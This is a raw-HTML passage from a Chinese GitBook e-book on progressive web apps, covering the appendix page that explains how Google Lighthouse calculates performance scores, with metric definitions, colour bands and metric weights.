data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"1-lighthouse.html\">\n            \n                <a href=\"1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.11.2\" data-path=\"2-lighthouse-score-guide.html\">\n            \n                <a href=\"2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"3-lighthouse-case.html\">\n            \n                <a href=\"3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >2 Lighthouse 评分指南</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><ul><li><span class=\"title-icon \"></span><a href=\"#lighthouse-&#x8BC4;&#x5206;&#x6307;&#x5357;\"><b></b>Lighthouse &#x8BC4;&#x5206;&#x6307;&#x5357;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x6027;&#x80FD;&#x8BC4;&#x5206;\"><b></b>&#x6027;&#x80FD;&#x8BC4;&#x5206;</a></li><li><span class=\"title-icon \"></span><a href=\"#pwa-&#x8BC4;&#x5206;\"><b></b>PWA &#x8BC4;&#x5206;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8BBF;&#x95EE;&#x65E0;&#x969C;&#x788D;&#x8BC4;&#x5206;\"><b></b>&#x8BBF;&#x95EE;&#x65E0;&#x969C;&#x788D;&#x8BC4;&#x5206;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;\"><b></b>&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x8BC4;&#x5206;</a></li></ul></ul></ul></div><a href=\"#\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h2 id=\"lighthouse-&#x8BC4;&#x5206;&#x6307;&#x5357;\"><a name=\"lighthouse-&#x8BC4;&#x5206;&#x6307;&#x5357;\" class=\"anchor-navigation-ex-anchor\" href=\"#lighthouse-&#x8BC4;&#x5206;&#x6307;&#x5357;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"lighthouse-&#x8BC4;&#x5206;&#x6307;&#x5357;\" class=\"plugin-anchor\" href=\"#lighthouse-&#x8BC4;&#x5206;&#x6307;&#x5357;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Lighthouse &#x8BC4;&#x5206;&#x6307;&#x5357;</h2>\n<p>&#x4F7F;&#x7528; Lighthouse &#x5BF9;&#x7F51;&#x7AD9;&#x8FDB;&#x884C;&#x6D4B;&#x8BC4;&#x540E;&#xFF0C;&#x6211;&#x4EEC;&#x4F1A;&#x5F97;&#x5230;&#x4E00;&#x4EFD;&#x8BC4;&#x5206;&#x62A5;&#x544A;&#xFF0C;&#x5B83;&#x5305;&#x542B;&#x4E86;&#x6027;&#x80FD;&#xFF08;Performance&#xFF09;&#xFF0C;PWA&#xFF08;Progressive Web App&#xFF09;&#xFF0C;&#x8BBF;&#x95EE;&#x65E0;&#x969C;&#x788D;&#xFF08;Accessibility&#xFF09;&#xFF0C;&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#xFF08;Best Practice&#xFF09;&#xFF0C;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x4F18;&#x5316;&#xFF08;SEO&#xFF09;&#x7B49;&#x51E0;&#x4E2A;&#x90E8;&#x5206;&#x3002;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x5C06;&#x4ECB;&#x7ECD;&#x4E00;&#x4E0B; Lighthouse &#x662F;&#x5982;&#x4F55;&#x8BA1;&#x7B97;&#x8FD9;&#x51E0;&#x4E2A;&#x8BC4;&#x5206;&#x7684;&#x3002;</p>\n<p><img src=\"img/lavas_report.png\" alt=\"score\"></p>\n<h3 id=\"&#x6027;&#x80FD;&#x8BC4;&#x5206;\"><a name=\"&#x6027;&#x80FD;&#x8BC4;&#x5206;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6027;&#x80FD;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6027;&#x80FD;&#x8BC4;&#x5206;\" class=\"plugin-anchor\" href=\"#&#x6027;&#x80FD;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6027;&#x80FD;&#x8BC4;&#x5206;</h3>\n<p>&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x5206;&#x503C;&#x533A;&#x95F4;&#x662F;0&#x5230;100&#xFF0C;&#x5982;&#x679C;&#x51FA;&#x73B0;0&#x5206;&#xFF0C;&#x901A;&#x5E38;&#x662F;&#x5728;&#x8FD0;&#x884C; Lighthouse &#x65F6;&#x53D1;&#x751F;&#x4E86;&#x9519;&#x8BEF;&#xFF0C;&#x5982;&#x679C;&#x53CD;&#x590D;&#x51FA;&#x73B0;&#x4E86;0&#x5206;&#x7684;&#x60C5;&#x51B5;&#xFF0C;&#x53EF;&#x4EE5;&#x5728; Lighthouse &#x7684; GitHub &#x4ED3;&#x5E93;&#x53BB;<a href=\"https://github.com/GoogleChrome/lighthouse/issues/new\" target=\"_blank\">&#x53CD;&#x9988; bug</a>&#x3002;&#x6EE1;&#x5206;100&#x5206;&#x4EE3;&#x8868;&#x4E86;&#x7AD9;&#x70B9;&#x5DF2;&#x7ECF;&#x8FBE;&#x5230;&#x4E86;98&#x5206;&#x4F4D;&#x503C;&#x7684;&#x6570;&#x636E;&#xFF0C;&#x800C;50&#x5206;&#x5219;&#x662F;75&#x5206;&#x4F4D;&#x503C;&#x7684;&#x6570;&#x636E;&#x3002;</p>\n<h4 id=\"&#x5F71;&#x54CD;&#x8BC4;&#x5206;&#x7684;&#x6027;&#x80FD;&#x6307;&#x6807;\"><a name=\"&#x5F71;&#x54CD;&#x8BC4;&#x5206;&#x7684;&#x6027;&#x80FD;&#x6307;&#x6807;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5F71;&#x54CD;&#x8BC4;&#x5206;&#x7684;&#x6027;&#x80FD;&#x6307;&#x6807;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5F71;&#x54CD;&#x8BC4;&#x5206;&#x7684;&#x6027;&#x80FD;&#x6307;&#x6807;\" class=\"plugin-anchor\" href=\"#&#x5F71;&#x54CD;&#x8BC4;&#x5206;&#x7684;&#x6027;&#x80FD;&#x6307;&#x6807;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5F71;&#x54CD;&#x8BC4;&#x5206;&#x7684;&#x6027;&#x80FD;&#x6307;&#x6807;</h4>\n<p>&#x6027;&#x80FD;&#x6D4B;&#x8BD5;&#x6307;&#x6807;&#x5206;&#x6210;&#x4E86; Metrics&#xFF0C;Diagnostic&#xFF0C;Opportunities &#x4E09;&#x90E8;&#x5206;&#x3002;&#x901A;&#x5E38;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x53EA;&#x6709; Metrics &#x90E8;&#x5206;&#x7684;&#x6307;&#x6807;&#x9879;&#x4F1A;&#x5BF9;&#x5206;&#x6570;&#x4EA7;&#x751F;&#x76F4;&#x63A5;&#x5F71;&#x54CD;&#xFF0C;Lighthouse &#x4F1A;&#x8861;&#x91CF;&#x4EE5;&#x4E0B;&#x6027;&#x80FD;&#x6307;&#x6807;&#x9879;&#xFF1A;</p>\n<ul>\n<li><p>&#x9996;&#x6B21;&#x5185;&#x5BB9;&#x7ED8;&#x5236;&#xFF08;First Contentful Paint&#xFF09;&#x3002;&#x5373;&#x6D4F;&#x89C8;&#x5668;&#x9996;&#x6B21;&#x5C06;&#x4EFB;&#x610F;&#x5185;&#x5BB9;&#xFF08;&#x5982;&#x6587;&#x5B57;&#x3001;&#x56FE;&#x50CF;&#x3001;canvas &#x7B49;&#xFF09;&#x7ED8;&#x5236;&#x5230;&#x5C4F;&#x5E55;&#x4E0A;&#x7684;&#x65F6;&#x95F4;&#x70B9;&#x3002;</p>\n</li>\n<li><p>&#x9996;&#x6B21;&#x6709;&#x6548;&#x7ED8;&#x5236;&#xFF08;First Meaningful Paint&#xFF09;&#x3002;&#x8861;&#x91CF;&#x4E86;&#x7528;&#x6237;&#x611F;&#x77E5;&#x9875;&#x9762;&#x7684;&#x4E3B;&#x8981;&#x5185;&#x5BB9;&#xFF08;primary content&#xFF09;&#x53EF;&#x89C1;&#x7684;&#x65F6;&#x95F4;&#x3002;&#x5BF9;&#x4E8E;&#x4E0D;&#x540C;&#x7684;&#x7AD9;&#x70B9;&#xFF0C;&#x9996;&#x8981;&#x5185;&#x5BB9;&#x662F;&#x4E0D;&#x540C;&#x7684;&#xFF0C;&#x4F8B;&#x5982;&#xFF1A;&#x5BF9;&#x4E8E;&#x535A;&#x5BA2;&#x6587;&#x7AE0;&#xFF0C;&#x6807;&#x9898;&#x53CA;&#x9996;&#x5C4F;&#x6587;&#x5B57;&#x662F;&#x9996;&#x8981;&#x5185;&#x5BB9;&#xFF0C;&#x800C;&#x5BF9;&#x4E8E;&#x8D2D;&#x7269;&#x7F51;&#x7AD9;&#x6765;&#x8BF4;&#xFF0C;&#x56FE;&#x7247;&#x4E5F;&#x4F1A;&#x53D8;&#x5F97;&#x5F88;&#x91CD;&#x8981;&#x3002;</p>\n</li>\n<li><p>&#x9996;&#x6B21; CPU &#x7A7A;&#x95F2;&#xFF08;First CPU Idle&#xFF09;&#x3002;&#x5373;&#x9875;&#x9762;&#x9996;&#x6B21;&#x80FD;&#x591F;&#x5BF9;&#x8F93;&#x5165;&#x505A;&#x51FA;&#x53CD;&#x5E94;&#x7684;&#x65F6;&#x95F4;&#x70B9;&#xFF0C;&#x5176;&#x51FA;&#x73B0;&#x65F6;&#x673A;&#x5F80;&#x5F80;&#x5728;&#x9996;&#x6B21;&#x6709;&#x6548;&#x7ED8;&#x5236;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#x3002;&#x8BE5;&#x6307;&#x6807;&#x76EE;&#x524D;&#x4ECD;&#x5904;&#x4E8E;&#x5B9E;&#x9A8C;&#x9636;&#x6BB5;&#x3002;</p>\n</li>\n<li><p>&#x53EF;&#x4EA4;&#x4E92;&#x65F6;&#x95F4;&#xFF08;Time to Interactive&#xFF09;&#x3002;&#x6307;&#x7684;&#x662F;&#x6240;&#x6709;&#x7684;&#x9875;&#x9762;&#x5185;&#x5BB9;&#x90FD;&#x5DF2;&#x7ECF;&#x6210;&#x529F;&#x52A0;&#x8F7D;&#xFF0C;&#x4E14;&#x80FD;&#x591F;&#x5FEB;&#x901F;&#x5730;&#x5BF9;&#x7528;&#x6237;&#x7684;&#x64CD;&#x4F5C;&#x505A;&#x51FA;&#x53CD;&#x5E94;&#x7684;&#x65F6;&#x95F4;&#x70B9;&#x3002;&#x8BE5;&#x6307;&#x6807;&#x76EE;&#x524D;&#x4ECD;&#x5904;&#x4E8E;&#x5B9E;&#x9A8C;&#x9636;&#x6BB5;&#x3002;</p>\n</li>\n<li><p>&#x901F;&#x5EA6;&#x6307;&#x6807;&#xFF08;Speed Index&#xFF09;&#x3002;&#x8861;&#x91CF;&#x4E86;&#x9996;&#x5C4F;&#x53EF;&#x89C1;&#x5185;&#x5BB9;&#x7ED8;&#x5236;&#x5728;&#x5C4F;&#x5E55;&#x4E0A;&#x7684;&#x901F;&#x5EA6;&#x3002;&#x5728;&#x9996;&#x6B21;&#x52A0;&#x8F7D;&#x9875;&#x9762;&#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#x5C3D;&#x91CF;&#x5C55;&#x73B0;&#x66F4;&#x591A;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x5F80;&#x5F80;&#x80FD;&#x7ED9;&#x7528;&#x6237;&#x5E26;&#x6765;&#x66F4;&#x597D;&#x7684;&#x4F53;&#x9A8C;&#xFF0C;&#x6240;&#x4EE5;&#x901F;&#x5EA6;&#x6307;&#x6807;&#x7684;&#x503C;&#x7EA6;&#x5C0F;&#x8D8A;&#x597D;&#x3002;</p>\n</li>\n<li><p>&#x8F93;&#x5165;&#x5EF6;&#x8FDF;&#x4F30;&#x503C;&#xFF08;Estimated Input Latency&#xFF09;&#x3002;&#x8FD9;&#x4E2A;&#x6307;&#x6807;&#x8861;&#x91CF;&#x4E86;&#x9875;&#x9762;&#x5BF9;&#x7528;&#x6237;&#x8F93;&#x5165;&#x884C;&#x4E3A;&#x7684;&#x53CD;&#x5E94;&#x901F;&#x5EA6;&#xFF0C;&#x5176;&#x57FA;&#x51C6;&#x503C;&#x5E94;&#x4F4E;&#x4E8E; 50ms&#x3002;</p>\n</li>\n</ul>\n<h4 id=\"&#x6027;&#x80FD;&#x6307;&#x6807;&#x8BC4;&#x5206;&#x7684;&#x8BA1;&#x7B97;\"><a name=\"&#x6027;&#x80FD;&#x6307;&#x6807;&#x8BC4;&#x5206;&#x7684;&#x8BA1;&#x7B97;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6027;&#x80FD;&#x6307;&#x6807;&#x8BC4;&#x5206;&#x7684;&#x8BA1;&#x7B97;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6027;&#x80FD;&#x6307;&#x6807;&#x8BC4;&#x5206;&#x7684;&#x8BA1;&#x7B97;\" class=\"plugin-anchor\" href=\"#&#x6027;&#x80FD;&#x6307;&#x6807;&#x8BC4;&#x5206;&#x7684;&#x8BA1;&#x7B97;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6027;&#x80FD;&#x6307;&#x6807;&#x8BC4;&#x5206;&#x7684;&#x8BA1;&#x7B97;</h4>\n<p>&#x6BCF;&#x4E00;&#x9879;&#x6027;&#x80FD;&#x6307;&#x6807;&#x5BF9;&#x8BC4;&#x5206;&#x7684;&#x8D21;&#x732E;&#x90FD;&#x6709;&#x5176;&#x8BA1;&#x7B97;&#x903B;&#x8F91;&#xFF0C;Lighthouse &#x4F1A;&#x5C06;&#x539F;&#x59CB;&#x7684;&#x6027;&#x80FD;&#x503C;&#x6620;&#x5C04;&#x6210;&#x4E3A; 0-100 &#x4E4B;&#x95F4;&#x7684;&#x6570;&#x5B57;&#x3002;&#x8BC4;&#x5206;&#x4F7F;&#x7528; HTTPArchive &#x4E0A;&#x7684;&#x771F;&#x5B9E;&#x7AD9;&#x70B9;&#x6027;&#x80FD;&#x6570;&#x636E;&#x4F5C;&#x4E3A;&#x6837;&#x672C;&#xFF0C;&#x7EDF;&#x8BA1;&#x51FA;&#x5BF9;&#x6570;&#x6B63;&#x6001;&#x5206;&#x5E03;&#x3002;&#x4F8B;&#x5982;&#xFF0C;FMP&#xFF08;First Meaningful Paint&#xFF09;&#x7684;&#x539F;&#x59CB;&#x503C;&#x662F;&#x4ECE;&#x9875;&#x9762;&#x521D;&#x59CB;&#x5316;&#x5F00;&#x59CB;&#x5230;&#x4E3B;&#x8981;&#x5185;&#x5BB9;&#x6E32;&#x67D3;&#x6210;&#x529F;&#x7684;&#x8017;&#x65F6;&#xFF0C;&#x6839;&#x636E;&#x771F;&#x5B9E;&#x7AD9;&#x70B9;&#x7684;&#x6570;&#x636E;&#xFF0C;&#x9876;&#x7EA7;&#x6027;&#x80FD;&#x7684;&#x7AD9;&#x70B9;&#x7684; FMP &#x503C;&#x7EA6;&#x4E3A; 1220ms&#xFF0C;&#x8FD9;&#x4E2A;&#x503C;&#x4F1A;&#x88AB;&#x6620;&#x5C04;&#x6210; Lighthouse &#x7684; 99 &#x5206;&#x3002;</p>\n<p>&#x9488;&#x5BF9;&#x4E0D;&#x540C;&#x7684;&#x8BC4;&#x5206;&#xFF0C;Lighthouse &#x7528;&#x4E86;&#x4E0D;&#x540C;&#x7684;&#x989C;&#x8272;&#x8FDB;&#x884C;&#x6807;&#x6CE8;&#xFF0C;&#x5206;&#x503C;&#x533A;&#x95F4;&#x548C;&#x989C;&#x8272;&#x7684;&#x5BF9;&#x5E94;&#x5173;&#x7CFB;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ul>\n<li>0 - 49&#xFF08;&#x6162;&#xFF09;&#xFF1A;&#x7EA2;&#x8272;</li>\n<li>50 - 89&#xFF08;&#x5E73;&#x5747;&#x503C;&#xFF09;&#xFF1A; &#x6A59;&#x8272;</li>\n<li>90 - 100&#xFF08;&#x5FEB;&#xFF09;&#xFF1A; &#x7EFF;&#x8272;</li>\n</ul>\n<h4 id=\"&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x5206;&#x914D;&#x6743;&#x91CD;\"><a name=\"&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x5206;&#x914D;&#x6743;&#x91CD;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x5206;&#x914D;&#x6743;&#x91CD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x5206;&#x914D;&#x6743;&#x91CD;\" class=\"plugin-anchor\" href=\"#&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x5206;&#x914D;&#x6743;&#x91CD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x5206;&#x914D;&#x6743;&#x91CD;</h4>\n<p>&#x5404;&#x4E2A;&#x6307;&#x6807;&#x5BF9;&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x8D21;&#x732E;&#x5E76;&#x4E0D;&#x76F8;&#x540C;&#xFF0C;Lighthouse &#x63D0;&#x4F9B;&#x4E86;<a href=\"https://docs.google.com/spreadsheets/d/1Cxzhy5ecqJCucdf1M0iOzM8mIxNc7mmx107o5nj38Eo/edit#gid=0\" target=\"_blank\">&#x8BC4;&#x5206;&#x8BE6;&#x60C5;&#x8868;</a>&#xFF0C;&#x5F62;&#x5F0F;&#x5982;&#x4E0B;&#x56FE;&#xFF0C;&#x6765;&#x67E5;&#x9605;&#x5177;&#x4F53;&#x6743;&#x91CD;&#x5206;&#x914D;&#x60C5;&#x51B5;&#x3002;&#x6743;&#x91CD;&#x8F83;&#x5927;&#x7684;&#x6307;&#x6807;&#xFF0C;&#x5BF9;&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x5F71;&#x54CD;&#x66F4;&#x5927;&#x4E00;&#x4E9B;&#xFF0C;&#x6700;&#x7EC8;&#x7684;&#x603B;&#x4F53;&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x662F;&#x8FD9;&#x4E9B;&#x6027;&#x80FD;&#x6307;&#x6807;&#x5206;&#x6570;&#x7684;&#x52A0;&#x6743;&#x5E73;&#x5747;&#x503C;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x7528;&#x8FD9;&#x4E2A;&#x5206;&#x6570;&#x8BA1;&#x7B97;&#x7684;<a href=\"https://docs.google.com/spreadsheets/d/1dXH-bXX3gxqqpD1f7rp6ImSOhobsT1gn_GQ2fGZp8UU/edit?ts=59fb61d2#gid=283330180\" target=\"_blank\">&#x8868;&#x683C;</a>&#x4F5C;&#x4E3A;&#x53C2;&#x8003;&#xFF0C;&#x4EE5;&#x4E86;&#x89E3;&#x4E0D;&#x540C;&#x7684;&#x6307;&#x6807;&#x662F;&#x5982;&#x4F55;&#x5F71;&#x54CD;&#x6700;&#x7EC8;&#x8BC4;&#x5206;&#x7684;&#x3002;</p>\n<p><img src=\"img/table.png\" alt=\"table\"></p>\n<p>&#x4ECE;&#x8868;&#x4E2D;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#xFF0C;&#x6027;&#x80FD;&#x7684;&#x6307;&#x6807;&#x9879;&#x6743;&#x91CD;&#x5206;&#x914D;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ul>\n<li>3X - &#x9996;&#x6B21;&#x5185;&#x5BB9;&#x7ED8;&#x5236;</li>\n<li>1X - &#x9996;&#x6B21;&#x6709;&#x6548;&#x7ED8;&#x5236;</li>\n<li>2X - &#x9996;&#x6B21; CPU &#x7A7A;&#x95F2;</li>\n<li>5X - &#x53EF;&#x4EA4;&#x4E92;&#x65F6;&#x95F4;</li>\n<li>4X - &#x901F;&#x5EA6;&#x6307;&#x6807;</li>\n<li>0X - &#x8F93;&#x5165;&#x5EF6;&#x8FDF;&#x4F30;&#x503C;</li>\n</ul>\n<p>&#x8FD9;&#x4E9B;&#x6743;&#x91CD;&#x7684;&#x5206;&#x914D;&#x65B9;&#x5F0F;&#x4ECD;&#x5728;&#x63A2;&#x7A76;&#x4E4B;&#x4E2D;&#xFF0C;Lighthouse &#x7684;&#x56E2;&#x961F;&#x4E5F;&#x5728;&#x52AA;&#x529B;&#x8BD5;&#x56FE;&#x6536;&#x96C6;&#x66F4;&#x591A;&#x7AD9;&#x70B9;&#x7684;&#x6570;&#x636E;&#x6837;&#x672C;&#xFF0C;&#x6765;&#x5C06;&#x8FD9;&#x5957;&#x8BA1;&#x7B97;&#x65B9;&#x6CD5;&#x89C4;&#x8303;&#x5316;&#x3002;</p>\n<h4 id=\"&#x51CF;&#x5C11;&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x6CE2;&#x52A8;\"><a name=\"&#x51CF;&#x5C11;&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x6CE2;&#x52A8;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x51CF;&#x5C11;&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x6CE2;&#x52A8;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x51CF;&#x5C11;&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x6CE2;&#x52A8;\" class=\"plugin-anchor\" href=\"#&#x51CF;&#x5C11;&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x6CE2;&#x52A8;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x51CF;&#x5C11;&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x7684;&#x6CE2;&#x52A8;</h4>\n<p>&#x5F53;&#x6211;&#x4EEC;&#x4F7F;&#x7528; Lighthouse &#x5BF9;&#x5B9E;&#x9645;&#x7AD9;&#x70B9;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;&#x65F6;&#xFF0C;&#x96BE;&#x4EE5;&#x907F;&#x514D;&#x4F1A;&#x6709;&#x4E00;&#x4E9B;&#x5F71;&#x54CD;&#x8BC4;&#x5206;&#x7684;&#x53D8;&#x91CF;&#x5B58;&#x5728;&#x3002;&#x6BCF;&#x6B21;&#x8BBF;&#x95EE;&#xFF0C;&#x7AD9;&#x70B9;&#x53EF;&#x80FD;&#x4F1A;&#x52A0;&#x8F7D;&#x4E0D;&#x540C;&#x7684;&#x5E7F;&#x544A;&#x3001;&#x811A;&#x672C;&#x7B49;&#xFF0C;&#x7F51;&#x7EDC;&#x72B6;&#x51B5;&#x4E5F;&#x53EF;&#x80FD;&#x4E0D;&#x540C;&#x3002;&#x6740;&#x6BD2;&#x8F6F;&#x4EF6;&#x3001;&#x6D4F;&#x89C8;&#x5668;&#x63D2;&#x4EF6;&#x4EE5;&#x53CA;&#x4E00;&#x4E9B;&#x5176;&#x4ED6;&#x5BF9;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x6709;&#x5E72;&#x9884;&#x7684;&#x7A0B;&#x5E8F;&#x90FD;&#x53EF;&#x80FD;&#x5BFC;&#x81F4;&#x8BC4;&#x5206;&#x7684;&#x8F83;&#x5927;&#x6CE2;&#x52A8;&#x3002;&#x6240;&#x4EE5;&#xFF0C;&#x6211;&#x4EEC;&#x5E94;&#x5C3D;&#x91CF;&#x907F;&#x514D;&#x4E0A;&#x8FF0;&#x56E0;&#x7D20;&#x7684;&#x5F71;&#x54CD;&#xFF0C;&#x4EE5;&#x5F97;&#x5230;&#x66F4;&#x52A0;&#x4E00;&#x81F4;&#x6027;&#x7684;&#x6570;&#x636E;&#x3002;&#x53EF;&#x4EE5;&#x8003;&#x8651;&#x4F7F;&#x7528;&#x6301;&#x7EED;&#x96C6;&#x6210;&#x7CFB;&#x7EDF;&#x6216;&#x8005;&#x7B2C;&#x4E09;&#x65B9;&#x670D;&#x52A1;&#xFF08;&#x5982; <a href=\"https://webpagetest.org/easy\" target=\"_blank\">WebPageTest</a>&#xFF09;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;&#xFF0C;&#x5F80;&#x5F80;&#x4F1A;&#x6709;&#x66F4;&#x51C6;&#x786E;&#x7684;&#x6570;&#x636E;&#x3002;</p>\n<h4 id=\"&#x63D0;&#x9AD8;&#x6027;&#x80FD;&#x8BC4;&#x5206;\"><a name=\"&#x63D0;&#x9AD8;&#x6027;&#x80FD;&#x8BC4;&#x5206;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x63D0;&#x9AD8;&#x6027;&#x80FD;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x63D0;&#x9AD8;&#x6027;&#x80FD;&#x8BC4;&#x5206;\" class=\"plugin-anchor\" href=\"#&#x63D0;&#x9AD8;&#x6027;&#x80FD;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x63D0;&#x9AD8;&#x6027;&#x80FD;&#x8BC4;&#x5206;</h4>\n<p>&#x524D;&#x9762;&#x63D0;&#x5230;&#x6027;&#x80FD;&#x8BC4;&#x5206;&#x5206;&#x4E3A;&#x4E86;&#x4E09;&#x90E8;&#x5206;&#xFF0C;Metrics 